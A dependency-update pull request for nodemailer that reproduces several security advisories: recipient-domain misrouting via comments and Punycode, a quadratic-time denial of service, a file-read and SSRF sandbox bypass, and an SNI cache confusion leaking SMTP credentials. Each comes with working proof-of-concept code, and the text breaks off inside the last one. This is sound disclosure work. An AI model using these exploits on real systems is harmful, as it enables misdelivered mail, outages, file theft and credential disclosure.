Skip to content

Update dependency nodemailer to v10 [SECURITY] - #1877

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-nodemailer-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-nodemailer-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Sep 10, 2026 •

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 9.0.3 → 10.0.2 age confidence

Nodemailer: Recipient-domain validation bypass via RFC 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain

GHSA-cc9r-2j5m-2m83

More information

Details

Summary

Nodemailer's email-address parser treats an RFC 5322 comment ( ... ) inside the domain as a point to concatenate the surrounding text, rather than as folding whitespace (CFWS) that terminates the domain. Consequently a recipient address such as user@good-corp.com(x)evil.com is parsed and delivered to good-corp.comevil.com (registrable domain comevil.com, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com.

An application that decides whether it is allowed to email a recipient by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an Interpretation Conflict (CWE‑436), the same class as CVE‑2025‑13033, reached through the RFC 5322 comment construct (the "Comments" technique in PortSwigger's Splitting the email atom research, which produced a Postfix fix).

Severity is Moderate: exploitation requires the app's domain check to disagree with Nodemailer (see Impact for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → aiosmtpd).

Details

Root cause is in lib/addressparser/index.js.

  1. The tokenizer registers the comment as an operator pair (Tokenizer.operators):
    '(': ')',            // line ~331
  2. When the closing ) is immediately followed by a non‑break character (anything other than space / tab / CR / LF / , / ;), the tokenizer marks that operator token with noBreak = true:
    // Tokenizer.checkChar, lines ~398-399
    if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) {
        this.node.noBreak = true;
    }
  3. _handleAddress then glues the token that follows the comment onto the token that preceded it (dropping the comment):
    // _handleAddress, lines ~187-188
    if (prevToken && prevToken.noBreak && data[state].length) {
        data[state][data[state].length - 1] += token.value;   // <-- concatenation
    }

For the input user@good-corp.com(x)evil.com the tokens are text:"user@good-corp.com", op:"(", text:"x", op:")" (flagged noBreak), text:"evil.com". Step 3 appends evil.com onto user@good-corp.com, producing the single domain good-corp.comevil.com. The comment content (x) is discarded into the display‑name field.

RFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may not appear inside a dot-atom. A comment therefore separates tokens and terminates the domain; the conformant reading of good-corp.com(x)evil.com is the domain good-corp.com (with the trailing evil.com being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain.

Nodemailer uses the parsed address for both the SMTP envelope (getEnvelope() → RCPT TO) and the emitted To:/From: headers, so the entire message is routed to the concatenated domain.

Related grammar defect (bonus, lower impact): nested comments are legal in RFC 5322, but the tokenizer closes the comment at the first ) (chr === this.operatorExpecting, line ~392), so a valid nested comment such as user@x.com(a(b)c) is mis‑balanced and mangled to x.comc). That particular output contains a stray ) and is rejected by a conformant MTA (501) — a bounce/robustness issue, not a misroute.

Suggested fix: treat a comment as folding whitespace that terminates the current token — i.e. do not propagate noBreak across a comment‑closing ) (restrict the noBreak optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No special transport configuration is required; the discrepancy is in address parsing.

poc-comment.js:

'use strict';
const net = require('net');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'good-corp.com';
const RECIPIENT = 'user@good-corp.com(x)evil.com'; // RFC 5322 comment (x) between two domains

// tiny SMTP sink that prints the literal RCPT TO nodemailer transmits
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: 'app@good-corp.com', to: RECIPIENT, subject: 'hi', text: 'x' });
  t.close(); server.close();
});

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-comment.js

Actual output (nodemailer 9.0.6):

nodemailer transmits : RCPT TO:<user@good-corp.comevil.com>

The application asked to mail user@good-corp.com(x)evil.com; Nodemailer delivers to good-corp.comevil.com — registrable domain comevil.com, which an attacker can register.

Verified against a real RFC 5321 server (containerized lab included with this report — docker compose up --build, case R8_comment_glue, receiver = aiosmtpd):

wire RCPT TO                     : RCPT TO:<user@good-corp.comevil.com>
real server                      : ACCEPTED (250)
recipient parsed by real server  : user@good-corp.comevil.com   (domain good-corp.comevil.com)
delivered To header              : x <user@good-corp.comevil.com>

Which parser sees what (the crux of exploitability):

Parser used by the application to gate/route Domain it reads from user@good-corp.com(x)evil.com Deceived?
Python email.policy.default (strict RFC 5322) good-corp.com (flags InvalidHeaderDefect) Yes, if defects are not checked
Naive prefix / substring allow‑list (startsWith/includes('@good-corp.com')) good-corp.com Yes
Nodemailer's own addressparser good-corp.comevil.com No
Python email.utils.getaddresses good-corp.comevil.com No
WHATWG url.domainToASCII good-corp.com(x)evil.com No
Impact
  • Who is impacted: applications that make a security or routing decision on the recipient domain using a parser that terminates the domain at the comment, while relying on Nodemailer for delivery — specifically those that validate with a strict RFC 5322 parser without inspecting parse defects, or with a prefix/substring/allow‑list check (e.g. "only send to @good-corp.com", employee‑only flows, "same‑tenant" routing). Applications that validate with Nodemailer's own addressparser, email.utils.getaddresses, or url.domainToASCII are not affected, which is why this is rated below the IDN/Punycode issue.
Patched in 9.1.0

Fixed in 902b63e.

Not propagating noBreak across the closing ) on its own breaks valid addresses, because CFWS is legal on either side of the @: user@(x)good-corp.com and user(x)@good-corp.com both come out mangled. A comment now joins what it separates only when one side carries the @, so those keep resolving while user@good-corp.com(x)evil.com terminates at good-corp.com.

Quoted-string and angle-address joining are unchanged. Nested comments are still not modelled, but the misroute is gone: user@x.com(a(b)c) now yields user@x.com.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list

GHSA-2x7j-588g-ccc2

More information

Details

Summary

Nodemailer's address parser (lib/addressparser/index.js) parses a list of comma‑separated addresses in quadratic time — O(n²) in the number of addresses. A single crafted address string (e.g. a To, Cc, Bcc, From, or Reply‑To value, or any value passed to the exported addressparser) therefore consumes CPU proportional to the square of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.

This requires no special application configuration and no cooperating receiver — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).

Details

addressparser tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (lib/addressparser/index.js, ~lines 500–505):

addresses.forEach(addr => {
    const handled = _handleAddress(addr, depth);
    if (handled.length) {
        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503
    }
});

Array.prototype.concat builds and returns a new array containing a copy of every element accumulated so far. Reassigning parsedAddresses = parsedAddresses.concat(handled) on each of the n iterations copies 1 + 2 + 3 + … + n elements in total, i.e. O(n²) work (and O(n²) transient allocations) for an input containing n addresses. Tokenization and _handleAddress themselves are linear; the quadratic blowup is entirely this accumulator.

Root‑cause proof. Replacing only that line with an in‑place append and re‑running the exact same input:

parsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)

Measured scaling (nodemailer 9.0.6, 'a@b.com,'.repeat(n)):

addresses n input size parse time ratio for 2× input
25,000 0.19 MB ~0.35 s –
50,000 0.38 MB ~1.4 s ×4.0
100,000 0.76 MB ~6–8 s ×3.9
200,000 1.53 MB ~25–30 s ×4.1

Doubling the input quadruples the time — the signature of O(n²).

Reachability. The parser is invoked on any structured‑address header value on the normal send path (MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value) → _parseAddresses → addressparser, and getEnvelope()), so a single transport.sendMail({ to: <crafted string> }) triggers it. It is also reached directly through the exported require('nodemailer/lib/addressparser'), which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: setHeader('To', 'a@b.com,'.repeat(80000)) + getEnvelope() blocks for ~3.9 s.

Suggested fix: accumulate in place instead of rebuilding the array each iteration, e.g. parsedAddresses.push.apply(parsedAddresses, handled); (or for (const h of handled) parsedAddresses.push(h);). Optionally cap the number of addresses / input length before parsing.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No transport, network, or configuration required — the cost is in parsing.

poc-dos.js:

'use strict';
const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients
  const t0 = process.hrtime.bigint();
  addressparser(payload);                       // blocks synchronously
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');
}

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-dos.js

Actual output (nodemailer 9.0.6):

addresses | input size | parse time
    25000 | 0.19 MB   |     381 ms
    50000 | 0.38 MB   |    1435 ms
   100000 | 0.76 MB   |    7949 ms
   200000 | 1.53 MB   |   25154 ms

Equivalent trigger through the normal send API (freezes the event loop):

const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent
Impact
  • Who is impacted: any service that runs Nodemailer (or the standalone nodemailer/lib/addressparser) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a Reply‑To/From derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with addressparser. No authentication, special option, or particular receiver is needed.
Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

  • addressparser rebuilt its accumulator with concat() on every address (9116da9).
  • The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through 'a, b <c@d.com>,'.repeat(n) (same commit).
  • MimeNode#_convertAddresses checked recipient uniqueness with a linear scan per address (7cc38af, refined in 34da642). This was the most severe of the three and the reported proof of concept did not reach it: 'a@b.com,'.repeat(n) is one address repeated, which dedupes to a single envelope entry. A list of distinct recipients cost O(n^2) here, taking ~35s for 100k even after addressparser was fixed.

Fixed alongside: [].concat.apply in _parseAddresses threw RangeError: Maximum call stack size exceeded past roughly 124k recipients, with no crafted input needed (83b8c48).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new maxRecipients option (default 100000) throws rather than truncating, as a backstop.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain

GHSA-wmmp-3585-3rmp

More information

Details

Summary

Nodemailer resolves an international (IDN / non-ASCII) recipient domain to a different Punycode xn-- label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's url.domainToASCII, Python's idna). Its address normalizer (_normalizeAddress in lib/mime-node/index.js) uses the bundled raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a different, attacker‑registrable domain.

An application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an unintended external domain. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix.

Because the mismatch can be triggered with an invisible character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the exact trusted domain string, no visible look‑alike/homograph is required.

Details

lib/mime-node/index.js → _normalizeAddress(address) (around lines 1307–1346) splits the address at the last @ and normalizes the domain like this:

// lib/mime-node/index.js
try {
    if (/[\x80-�]/.test(user)) {
        encodedDomain = punycode.toUnicode(domain.toLowerCase());   // line ~1338
    } else {
        encodedDomain = punycode.toASCII(domain.toLowerCase());     // line ~1340
    }
} catch (_err) {
    // keep domain as supplied
}
return `${this._normalizeLocalPart(user)}@${encodedDomain}`;         // line ~1346

punycode here is the project’s bundled codec (lib/punycode/), which is a pure RFC 3492 (Punycode) implementation. The only normalization applied to the domain is .toLowerCase(). It performs none of the UTS‑46 “IDNA2008 + compatibility processing” steps that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically:

  • removing Ignored code points such as U+00AD SOFT HYPHEN,
  • Mapping full‑width / compatibility characters to their canonical ASCII forms,
  • Unicode NFC normalization,
  • validity checks.

As a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s punycode.toASCII(...) produces a different A‑label than url.domainToASCII(...) (Node ≥ 7 / WHATWG), new URL('http://'+domain), browsers, and Python’s idna (uts46=True). Nodemailer then uses its A‑label as:

  • the SMTP envelope recipient written to the wire as RCPT TO:<local@xn--…> (getEnvelope() → lib/smtp-connection/index.js _setEnvelope), and
  • the address emitted in the To: / From: headers (_convertAddresses).

So the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to disagree, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6):

recipient (raw) UTS‑46 parser (url.domainToASCII) Nodemailer delivers to
victim@compa{U+00AD}ny.com (invisible soft hyphen) company.com xn--company-pka.com
victim@company.com (full‑width) company.com xn--mi7cd4afch9d.com
user@exámple.com (NFD a+U+0301) xn--exmple-qta.com xn--example-vge.com

This is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s Splitting the email atom research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP idna_convert library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the quoted‑local‑part path only; this IDN path is independent and still present in 9.0.6 (latest) and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases.

Suggested remediation: perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s url.domainToASCII() (available since Node 7) instead of the raw punycode.toASCII, and decode with the matching UTS‑46 domainToUnicode. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. punycode.toASCII(d) ≠ url.domainToASCII(d)).

PoC

Environment: Node.js ≥ 18, the published nodemailer@9.0.6. No special configuration; the discrepancy is in domain normalization itself.

poc-idn.js:

'use strict';
const net = require('net');
const url = require('url');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'company.com';                        // the only domain the app will mail
const RECIPIENT = 'victim@compa\u00ADny.com';           // attacker input: invisible U+00AD inside "company"

// The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way:
const seen = url.domainToASCII(RECIPIENT.split('@').pop());
console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen),
            seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : '');

// A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits:
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits             :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: 'app@company.com', to: RECIPIENT, subject: 'reset your password', text: 'secret link' });
  t.close(); server.close();
});

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-idn.js

Actual output (Nodemailer 9.0.6):

validator (url.domainToASCII) sees: "company.com" => ALLOWED (equals trusted domain)
nodemailer transmits             : RCPT TO:<victim@xn--company-pka.com>

The application’s domain check approves company.com, but the message is sent to xn--company-pka.com — a different domain an attacker can register — carrying the To: header <victim@xn--company-pka.com> as well.

A containerized version that proves the same result against a real RFC 5321 SMTP server (aiosmtpd) is included alongside this report (docker compose up --build, cases R6/IDN); the receiving server accepts RCPT TO:<victim@xn--company-pka.com> and reports the recipient domain as xn--company-pka.com.

Impact

Any application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a different (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes:

  • recipient allow‑list / block‑list / “same corporate domain” checks implemented with new URL(), url.domainToASCII, a browser‑side check, or an IDN library;
  • flows that display or log the normalized recipient domain for human confirmation (the shown company.com differs from the delivered xn--company-pka.com);
  • any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing).
Patched in 9.1.0

Domain encoding now applies UTS-46 (259c32d), so victim@compa­ny.com resolves to company.com, matching url.domainToASCII and browsers.

One caveat on the suggested remediation, hardened in b212ac4: url.domainToASCII is a WHATWG host parser, not a pure UTS-46 mapper. It terminates the host at /, \\, ? and # and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since user@attacker.example/mail.corp.example encodes to the deliverable user@attacker.example where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper.

On severity, "attacker-registrable" is doing significant work in the report: xn--company-pka.com decodes to a label containing U+00AD and xn--mi7cd4afch9d.com to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature

GHSA-8m3c-c648-2xjj

More information

Details

Summary

Nodemailer's disableFileAccess / disableUrlAccess options are a security sandbox that lets an application forbid untrusted message content (html/text/attachment path/href) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit 5f69497) threaded these flags through the library's internal resolution paths (MailMessage.resolveAll() and _convertDataImages()), but the public plugin API MailMessage.resolveContent(...args) (lib/mailer/mail-message.js:41-43) remains a raw passthrough to shared.resolveContent().

When called with the documented legacy signature mail.resolveContent(data, key, callback), shared.resolveContent normalizes the missing options argument to an empty object (options = options || {}, lib/shared/index.js:530). The message-level flags that the MailMessage constructor already copied into mail.data (lib/mailer/mail-message.js:34-38) are silently discarded, so resolveContentValue skips both access-control guards and reaches nmfetch(url) (SSRF, lib/shared/index.js:588) or fs.createReadStream(path) (arbitrary file read, lib/shared/index.js:597).

A plugin or application code that resolves message content through the documented API (the same API the library's own _convertDataImages uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.

Details

Root cause. The MailMessage constructor stores the transporter-level sandbox flags on the message object (lib/mailer/mail-message.js:34-38):

['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
    if (key in options) {
        this.data[key] = options[key];
    }
});

The public resolver is a pure passthrough (lib/mailer/mail-message.js:41-43):

resolveContent(...args) {
    return shared.resolveContent(...args);
}

shared.resolveContent supports the legacy 3-argument signature and collapses the missing options to {} (lib/shared/index.js:524-530):

module.exports.resolveContent = (data, key, options, callback) => {
    // options is optional; support the legacy resolveContent(data, key, callback) signature
    if (!callback && typeof options === 'function') {
        callback = options;
        options = false;
    }
    options = options || {};
    ...
    resolveContentValue(data, key, options, callback);

resolveContentValue then checks options.disableUrlAccess / options.disableFileAccess (lib/shared/index.js:581 / :590), both undefined for the legacy signature, so it falls through to nmfetch (:588) or fs.createReadStream (:597).

Contrast with the fixed paths. resolveAll() (lib/mailer/mail-message.js:112-115) and _convertDataImages() (lib/mailer/index.js:437-440) both pass the message flags explicitly. The MIME streaming path (lib/mime-node/index.js:1059-1077) also honors the flags. So an application that enables the sandbox and then calls transporter.sendMail() is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the resolveContent JSDoc at lib/shared/index.js:510-523 states it is "useful when you want to create a plugin that needs a content value").

Affected versions. Confirmed on 9.1.0 (HEAD efd6e29c10c6e0c25c57bd2f2a71302838235a4f, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (test/mailer/mail-message-test.js contains no resolveContent test).

PoC

Requires: nodemailer@9.1.0, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.

'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');

const TARGET_FILE = '/app/src/package.json';   // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target

const transporter = nodemailer.createTransport({
    streamTransport: true,
    disableFileAccess: true,   // sandbox explicitly enabled
    disableUrlAccess: true
});

const data = {
    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',
    html: { path: TARGET_FILE },
    attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true

// Documented legacy plugin signature — options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('FILE_READ_OK len=', value.length);          // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
    if (err) return console.log('BLOCKED', err.code);
    console.log('URL_FETCH_OK body=', body.toString());      // -> fetched response
});

Observed output on the audit environment (Node 22, nodemailer@9.1.0):

mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n    \"name\": \"nodemailer\",\n    \"version\": \"9.1.0\",\n    \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"

The negative controls (resolveAll, and resolveContent with explicit { disableFileAccess: true }) return EFILEACCESS, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real transporter.sendMail() flow when a compile plugin calls mail.resolveContent(mail.data, 'html', cb) / mail.resolveContent(mail.data.attachments, 0, cb).

Impact

An application that enables disableFileAccess / disableUrlAccess to contain untrusted message content and that resolves content through the documented plugin API (mail.resolveContent(data, key, callback)) has its sandbox silently bypassed:

  • Arbitrary local file disclosure: a message html/attachment path pointing at a server file (/etc/passwd, .env, key material) is read and returned to the caller / delivered in the message.
  • Server-side request forgery: a message href pointing at an internal or loopback URL is fetched from the application host.

Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default transporter.sendMail() path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: Process-global DNS cache reuses TLS servername across transports, enabling cross-tenant SMTP credential disclosure

GHSA-6vj9-mwq6-2f5v

More information

Details

Summary

Nodemailer's process-global DNS cache is keyed only by host, but each cache entry also stores the caller-specific TLS servername. When two direct SMTPS transports use the same DNS host with different tls.servername values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.

As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with rejectUnauthorized: true, and sends the victim's SMTP credentials to it.

Affected component
  • Ecosystem: npm
  • Package: nodemailer
  • Repository: https://github.com/nodemailer/nodemailer
  • Tested version: 10.0.1
  • Tested commit: 40d52215aac65b811d7e131bc916f68605efd9d2
  • Runtime-confirmed vulnerable versions: 5.0.0 and 10.0.1
  • Affected versions: >= 5.0.0, <= 10.0.1
  • Patched versions: None known at the time of this report
  • Affected mode: Direct TLS/SMTPS connections (secure: true) where different transports use the same non-IP host and different TLS servername values

The vulnerable cache implementation was introduced in commit 6859b5dd96c8d9f0070a3169a877181b71df4a3b on 2018-12-28. Git history shows v5.0.0 as the first release tag containing that commit. The behavior remains present in v10.0.1.

Details
Root cause

src/shared/index.ts defines one module-global DNS cache, keyed only by the DNS host:

export const dnsCache = new Map<string, DnsCacheEntry>();

Although the cache key contains only host, the cached value contains both DNS addresses and the request-specific TLS identity:

const value: DnsCacheValue = {
    addresses: allAddresses,
    servername: options.servername || host
};

dnsCache.set(host, {
    value,
    expires: Date.now() + (options.dnsTtl || DNS_TTL)
});

On a cache hit, resolveHostname() returns the cached servername without considering the current call's options.servername:

if (!cached.expires || cached.expires >= now) {
    return callback(
        null,
        formatDNSValue(cached.value, {
            cached: true
        })
    );
}

formatDNSValue() copies that stale value into the result:

return Object.assign(
    {
        servername: value.servername,
        host,
        _addresses: addresses
    },
    extra || {}
);

For a direct TLS connection, SMTPConnection.connect() initially copies the current transport's TLS configuration into opts. _resolveAndConnect() then overwrites every truthy field with the cached resolver result, including opts.servername:

Object.assign(opts, this.options.tls || {});

if (this.servername && !opts.servername) {
    opts.servername = this.servername;
}

return this._resolveAndConnect(opts, resolved => {
    this._connectToHost(opts, this.secureConnection);
});
for (const key of Object.keys(resolved!)) {
    if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) {
        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];
    }
}

The resulting opts object is passed to tls.connect(). Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.

The default DNS cache TTL is five minutes:

const DNS_TTL = 5 * 60 * 1000;
Code path
Tenant A: createTransport({ host: H, secure: true,
                            tls: { servername: attackerName } })
  -> SMTPConnection.connect()
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: attackerName })
  -> dnsCache.set(H, { addresses, servername: attackerName })

Victim: createTransport({ host: H, secure: true,
                          tls: { servername: victimName } })
  -> SMTPConnection.connect()
  -> opts.servername = victimName
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: victimName })
  -> dnsCache.get(H)
  -> returns cached servername = attackerName
  -> _resolveAndConnect overwrites opts.servername
  -> tls.connect({ servername: attackerName })
  -> attacker SNI virtual host and certificate are selected
  -> AUTH transmits victim SMTP credentials
Relevant source locations in the tested revision
  • src/shared/index.ts:184 — five-minute default cache TTL
  • src/shared/index.ts:245 — process-global cache keyed by host
  • src/shared/index.ts:247-262 — cached servername returned by formatDNSValue()
  • src/shared/index.ts:292-323 — host-only lookup and cache-hit return
  • src/shared/index.ts:350-359 — caller-specific servername stored in host-only cache
  • src/smtp-connection/index.ts:713-729 — direct TLS options and resolver call
  • src/smtp-connection/index.ts:741-763 — cached fields overwrite current connection options
PoC
Prerequisites
  • Node.js 20 (tested with Node.js 20.20.2)
  • A checkout/build of Nodemailer 10.0.1
  • OpenSSL to generate the local test certificate

No external SMTP server or network access is required.

1. Generate a certificate for only attacker.test

Create openssl.cnf:

[req]
distinguished_name = dn
x509_extensions = ext
prompt = no

[dn]
CN = attacker.test

[ext]
subjectAltName = DNS:attacker.test
basicConstraints = critical,CA:TRUE
keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign
extendedKeyUsage = serverAuth

Generate the certificate and private key:

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf
2. Save the following as poc-dns-cache-servername-confusion.mjs

Adjust the two import paths if the PoC is not saved beside the repository checkout.

import fs from 'node:fs';
import tls from 'node:tls';
import nodemailer from '../../nodemailer/dist/esm/nodemailer.js';
import * as shared from '../../nodemailer/dist/esm/shared/index.js';

const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));
const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));
